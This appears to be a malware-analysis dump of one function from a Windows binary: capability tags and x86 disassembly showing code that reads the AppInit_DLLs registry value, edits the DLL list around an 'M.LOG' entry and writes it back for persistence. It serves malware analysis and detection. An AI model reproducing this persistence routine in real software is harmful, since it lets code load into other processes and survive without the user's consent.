Function at 0x405260
Capabilities:
Check if file exists
Get common file path
Persist via appinit_dlls registry key
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x914
mov al, byte [0x4128cc]
push esi
push edi
mov byte [esp + 0x11c], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11d]
lea edx, [esp + 0x51c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x14]
mov dword [esp + 8], 1
stosb byte es:[edi], al
push ecx
lea eax, [esp + 0xc]
push edx
push eax
push str.AppInit_DLLs
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push 0x80000002
mov dword [esp + 0x2c], 0x400
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
jne 0x40548e
mov cx, word [0x4107a4]
mov dl, byte [0x4107a6]
mov dword [esp + 0x10], eax
mov word [esp + 0xc], cx
lea eax, [esp + 0xc]
lea ecx, [esp + 0x51c]
push eax
push ecx
mov byte [esp + 0x16], dl
call dword [sym.imp.MSVCRT.dll__mbstok]
mov esi, eax
add esp, 8
test esi, esi
je 0x40548e
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0x10]
push 2
push 0x4107a0
push esi
call dword [sym.imp.SHLWAPI.dll_StrCmpNIA]
test eax, eax
jne 0x405371
push str.M.LOG
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x405371
lea edx, [esp + 0x20]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x20]
push esi
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x405364
lea edx, [esp + 0x20]
push edx
call fcn.00402f90
add esp, 4
mov dword [esp + 0x18], 1
jmp 0x40542f
lea edi, [esp + 0x124]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4053dc
mov ecx, 0x400
lea eax, [esp + 0x124]
cmp byte [eax], 0
je 0x40539b
inc eax
dec ecx
jne 0x405390
jmp 0x4053dc
test ecx, ecx
je 0x4053dc
lea eax, [esp + 0x10]
test eax, eax
je 0x4053ae
mov ebp, 0x400
sub ebp, ecx
mov edx, 0x400
lea eax, [esp + ebp + 0x124]
sub edx, ebp
je 0x4053dc
mov edi, 0x4107f0
sub edi, eax
mov cl, byte [edi + eax]
test cl, cl
je 0x4053d4
mov byte [eax], cl
inc eax
dec edx
jne 0x4053c5
jmp 0x4053d8
test edx, edx
jne 0x4053d9
dec eax
mov byte [eax], 0
mov ecx, 0x400
lea eax, [esp + 0x124]
cmp byte [eax], 0
je 0x4053f3
inc eax
dec ecx
jne 0x4053e8
jmp 0x40542f
test ecx, ecx
je 0x40542f
lea edx, [esp + 0x10]
test edx, edx
je 0x405406
mov ebx, 0x400
sub ebx, ecx
mov edx, 0x400
lea eax, [esp + ebx + 0x124]
sub edx, ebx
je 0x40542f
sub esi, eax
mov cl, byte [esi + eax]
test cl, cl
je 0x405427
mov byte [eax], cl
inc eax
dec edx
jne 0x405418
jmp 0x40542b
test edx, edx
jne 0x40542c
dec eax
mov byte [eax], 0
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.MSVCRT.dll__mbstok]
mov esi, eax
add esp, 8
test esi, esi
jne 0x40530a
mov eax, dword [esp + 0x18]
pop ebp
test eax, eax
pop ebx
je 0x40548e
lea edi, [esp + 0x11c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x120]
push ecx
push 1
push str.AppInit_DLLs
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov dword [0x4127b8], 1
pop edi
xor eax, eax
pop esi
add esp, 0x914
ret